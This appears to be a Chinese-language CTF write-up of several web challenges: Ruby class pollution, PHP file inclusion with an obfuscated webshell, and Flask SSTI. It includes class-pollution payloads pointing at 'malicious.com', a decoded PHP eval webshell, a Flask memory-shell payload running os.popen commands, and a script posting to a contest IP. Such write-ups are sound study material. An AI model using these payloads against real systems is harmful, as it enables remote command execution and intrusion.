前言
一觉醒来NISA实力下降一万倍,哈哈两人退役之后我们完蛋了
这b web真是一天比一天难打了,梭哈半天拿不下少解题,其他题回头就被打烂
学web救不了NISA,唉我好菜啊😭
参考:
ezruby(Unsolved)
# frozen_string_literal: true
require 'json'
require 'sinatra/base'
require 'net/http'
class Person
@@url = "http://default-url.com"
attr_accessor :name, :age, :details
def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end
def self.url
@@url
end
def merge_with(additional)
recursive_merge(self, additional)
end
private
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
if current_obj.is_a?(Hash)
current_obj[key] = value
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
end
original
end
end
class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
end
class KeySigner
@@signing_key = "default-signing-key"
def self.signing_key
@@signing_key
end
def sign(signing_key, data)
"#{data}-signed-with-#{signing_key}"
end
end
class JSONMergerApp < Sinatra::Base
set :bind , '0.0.0.0'
set :port , '8888'
post '/merge' do
content_type :json
j_str = request.body.read
return "try try try" if j_str.include?("\\") || j_str.include?("h")
json_input = JSON.parse(j_str, symbolize_names: true)
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)
user.merge_with(json_input)
{ status: 'merged' }.to_json
end
# GET /launch-curl-command - Activates the first gadget
get '/launch-curl-command' do
content_type :json
# This gadget makes an HTTP request to the URL stored in the User class
if Person.respond_to?(:url)
url = Person.url
response = Net::HTTP.get_response(URI(url))
{ status: 'HTTP request made', url: url }.to_json
else
{ status: 'Failed to access URL variable' }.to_json
end
end
get '/sign_with_subclass_key' do
content_type :json
signer = KeySigner.new
signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")
{ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
end
get '/check-infected-vars' do
content_type :json
{
user_url: Person.url,
signing_key: KeySigner.signing_key
}.to_json
end
get('/') do
erb :hello
end
run! if app_file == $0
end
https://book.hacktricks.xyz/cn/pentesting-web/deserialization/ruby-class-pollution
https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html
payload:后者是随机找类覆盖的需要多次尝试
{"class":{"superclass":{"url":"Http://malicious.com"}}}
{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}
开头这个# frozen_string_literal: true
会冻结所有字符串字面量
观察一下改动的地方
set :bind , '0.0.0.0'
set :port , '8888'
return "try try try" if j_str.include?("\\") || j_str.include?("h")
if Person.respond_to?(:url)
url = Person.url
response = Net::HTTP.get_response(URI(url))
{ status: 'HTTP request made', url: url }.to_json
那么就是ban了反斜杠和h
,同时 curl 无回显
可以用H
绕过
然后接下来的思路是在 JSONMergerApp 里找一个能污染的属性来实现类似于静态文件读取或者 getshell
这里尝试污染hello模板
{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"templates": {"hello": "<%= `whoami` %>"}}}}}}}
想起来有waf,绕不过去
或者设置静态目录
{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"public_folder": "/"}}}}}}
helloweb(复现)
GET /index.php?file=hello.php HTTP/1.1
HTTP/1.1 200 OK
Date: Sun, 15 Dec 2024 02:10:51 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
tip: include.php
Content-Length: 2470
<!-- ../hackme.php -->
<!-- ../tips.php -->
<div class="relocating">
Navigating to: <span class="relocate-location"></span>...
</div>
tip解码出来是 include.php,但是访问不到这个文件
index.php,hello.php,hackme.php,tips.php 均在同一文件夹下,但是上面的 hint 里是../
,而我们输入的 ../hackme.php 实际上访问的也是 hackme.php
结合 Navigating ,猜测替换了../
为空,有双写绕过,尝试..././hackme.php
能读到
<?php
highlight_file(__FILE__);
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};$rVkKjU=$lapUCm{7}.$lapUCm{13};$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
?>
$YwzIst 是 base64_decode,decode后的内容:
$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";eval('?>'.$YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU))));
复制到本地一步步 echo 分析出来
那么shell就是:
<?php @eval($_POST['cmd_66.99']); ?>
蚁剑连上去,注意密码参数这里是cmd[66.99
index.php
<!-- ../hackme.php -->
<!-- ../tips.php -->
<?php
if(!isset($_GET['file']))
{
header('Location: ./index.php?file=hello.php');
exit();
}
@$file = $_GET["file"];
if (isset($_GET['file']))
{
$file = str_replace('../', '', $_GET['file']);
if (preg_match('/php:\/\/|http|data|ftp|input|%00/i', $file) || strlen($file) >= 14)
{
echo "<h1>NAIVE!!!</h1>";
} else
{
echo "<div style='text-align: center;'>";
echo "</div>";
include($file);
}
}
?>
尝试拿蚁剑插件打disable_function能写,但是连 .antproxy.php 上不去,不知道为什么
结束后试了一下直接在 /tmp 写马 index.php,然后 fpm 起 phpserver 开在 /tmp 下,密码填 /tmp/index.php 的即可绕过 disable_function 且正常连接
接下来找flag,本来以为要提权的,找了半天没提权点
find / -type f -name "flag" 2>/dev/null
找到了神人flag路径
safeproxy
from flask import Flask, request, render_template_string
import socket
import threading
import html
app = Flask(__name__)
@app.route('/', methods=["GET"])
def source():
with open(__file__, 'r', encoding='utf-8') as f:
return '<pre>'+html.escape(f.read())+'</pre>'
@app.route('/', methods=["POST"])
def template():
template_code = request.form.get("code")
# 安全过滤
blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
for black in blacklist:
if black in template_code:
return "Forbidden content detected!"
result = render_template_string(template_code)
print(result)
return 'ok' if result is not None else 'error'
class HTTPProxyHandler:
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port
def handle_request(self, client_socket):
try:
request_data = b""
while True:
chunk = client_socket.recv(4096)
request_data += chunk
if len(chunk) < 4096:
break
if not request_data:
client_socket.close()
return
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:
proxy_socket.connect((self.target_host, self.target_port))
proxy_socket.sendall(request_data)
response_data = b""
while True:
chunk = proxy_socket.recv(4096)
if not chunk:
break
response_data += chunk
header_end = response_data.rfind(b"\r\n\r\n")
if header_end != -1:
body = response_data[header_end + 4:]
else:
body = response_data
response_body = body
response = b"HTTP/1.1 200 OK\r\n" \
b"Content-Length: " + str(len(response_body)).encode() + b"\r\n" \
b"Content-Type: text/html; charset=utf-8\r\n" \
b"\r\n" + response_body
client_socket.sendall(response)
except Exception as e:
print(f"Proxy Error: {e}")
finally:
client_socket.close()
def start_proxy_server(host, port, target_host, target_port):
proxy_handler = HTTPProxyHandler(target_host, target_port)
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((host, port))
server_socket.listen(100)
print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")
try:
while True:
client_socket, addr = server_socket.accept()
print(f"Connection from {addr}")
thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))
thread.daemon = True
thread.start()
except KeyboardInterrupt:
print("Shutting down proxy server...")
finally:
server_socket.close()
def run_flask_app():
app.run(debug=False, host='127.0.0.1', port=5000)
if __name__ == "__main__":
proxy_host = "0.0.0.0"
proxy_port = 5001
target_host = "127.0.0.1"
target_port = 5000
# 安全反代,防止针对响应头的攻击
proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))
proxy_thread.daemon = True
proxy_thread.start()
print("Starting Flask app...")
run_flask_app()
一眼打ssti,ban 了响应头
打内存马在响应体里就行
import fenjing
import logging
import requests
logging.basicConfig(level=logging.INFO)
payload = """
[
app.view_functions
for app in [ __import__('sys').modules["__main__"].app ]
for request in [ __import__('sys').modules["__main__"].request ]
if [
app.__dict__.update({'_got_first_request':False}),
app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)
]
]
"""
def waf(s):
blacklist = [
'\\' , '__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n'
]
return all(word not in s for word in blacklist)
full_payload_gen = fenjing.FullPayloadGen(waf)
payload, will_print = full_payload_gen.generate(
fenjing.const.EVAL, (fenjing.const.STRING, payload))
if not will_print:
print("这个payload不会产生回显")
print(payload)
r = requests.post(
"http://47.93.212.188:32936",
data={"code": payload},
cookies={
})
print(r.text)
sxweb1(Unsolved)
Apache/2.4.58
直接访问 publishers.php,返回more lines returned. maybe SQL injection Attack
easyweb(Unsolved)
进去403,开扫
有一个上传文件的接口和一个下载文件的接口
下载文件限制后缀为 .txt 和 .zip
上传文件限制后缀为图片且无回显路径
sxweb2(Unsolved)
看起来像是 1 的进阶版,实际上 1 还是0解
进去发现路径直接在 /cgi-bin/index.py 了
单独访问 /cgi-bin/ 得到
/
html/
index.html
apache.jpg
db/
pubs.db
cgi-bin/
local/
flag.py
index.cgi
authors.py
index.py
wget.py
update_authorsform.py
updateauthor.py
但是直接访问 /cgi-bin/local/flag.py 会返回403
尝试通过 wget.py 访问 127.0.0.1/cgi-bin/local/flag.py ,返回 Notice: local access is not allowed
/bin/authors.py
/cgi-bin/update_authorsform.py
/cgi-bin/updateauthor.py